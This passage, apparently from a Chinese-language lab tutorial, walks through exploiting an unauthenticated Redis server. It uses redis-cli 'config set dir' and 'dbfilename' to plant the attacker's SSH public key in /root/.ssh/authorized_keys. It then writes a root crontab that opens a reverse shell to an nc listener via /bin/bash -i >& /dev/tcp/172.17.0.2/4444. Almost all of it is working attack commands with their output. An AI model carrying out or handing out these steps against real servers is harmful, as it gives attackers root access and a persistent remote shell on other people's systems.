[root@attack-client src]# ./redis-cli -h 172.17.0.3 -p 6379 172.17.0.3:6379> config set dir /root/.ssh OK 172.17.0.3:6379> config set dbfilename authorized_keys OK
将测试服务器的公钥当成 value 写到 redis, 如果没有请先用 ssh-keygen 生成
1 2 3 4 5 6 7 8
[root@attack-client src]# (echo -e "\n\n";cat /root/.ssh/id_rsa.pub;echo -e "\n\n") >1.txt [root@attack-client src]# cat 1.txt |./redis-cli -h 172.17.0.3-x set xxx OK [root@attack-client src]# ./redis-cli -h 172.17.0.3-p 6379 172.17.0.3:6379>get xxx "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMpXeZIVuv6f+DJ29BI7XJHCNG5qsGGCdUv+V2GqKl1vzWXMtt8jibuCztWG3DhOv+o5UJGXnmQNDKDyGRjVbSWPAMzGQBojS8nS1ciHoJr+Wy617MK0gjqkP5FgDOK6I6rRlFufaQJhMOUh3RFH2RkL5X3iKzKl2IYS9BzQsJf18NlU9raPlhZ84a+EhzEE+Ub//wccDLWKzsKBVPuexcLqVxQRtDgtZ2Y0ReweVquiBfimFbYSHqx4RztCrY/4vWmklGGsi0Mz+H1O3NHHP1FdMqgUwUSdxLm77IJKNvgeN+Mfe7D56g4S1TabqXDGH2W306BSP5CtXwpXv9fAzBktKRxkRsn/RJrslKREsMY6W5osWDyfvjaxxdjFCsqhDDuGI8WWdfKeAhCph7GjoaMlXFdpOwuP0W3fx35p6hU8orMIXglwIRYD6prF8lfhd5J3V1HdfdHVfElsW6nAXTOAxGI6rO1n/pg8Tf1kFC/gTwkgT68iVU2kVwnmZ1VXc= root@attack-client\n\n\n\n" 172.17.0.3:6379> save OK
[root@attack-client src]# nc -lvnp 4444 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on0.0.0.0:4444
然后修改 config
1 2 3 4 5
[root@attack-client src]# ./redis-cli -h 172.17.0.3 -p 6379 172.17.0.3:6379> config set dir /var/spool/cron OK 172.17.0.3:6379> config set dbfilename root OK
上面其实就是构造了 /var/spool/cron/root, 然后生成攻击 key 并保存,其中 value 是一个合法的 crontab
1 2 3 4 5 6
172.17.0.3:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/172.17.0.2/4444 0>&1\n\n" OK 172.17.0.3:6379> get xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/172.17.0.2/4444 0>&1\n\n" 172.17.0.3:6379> save OK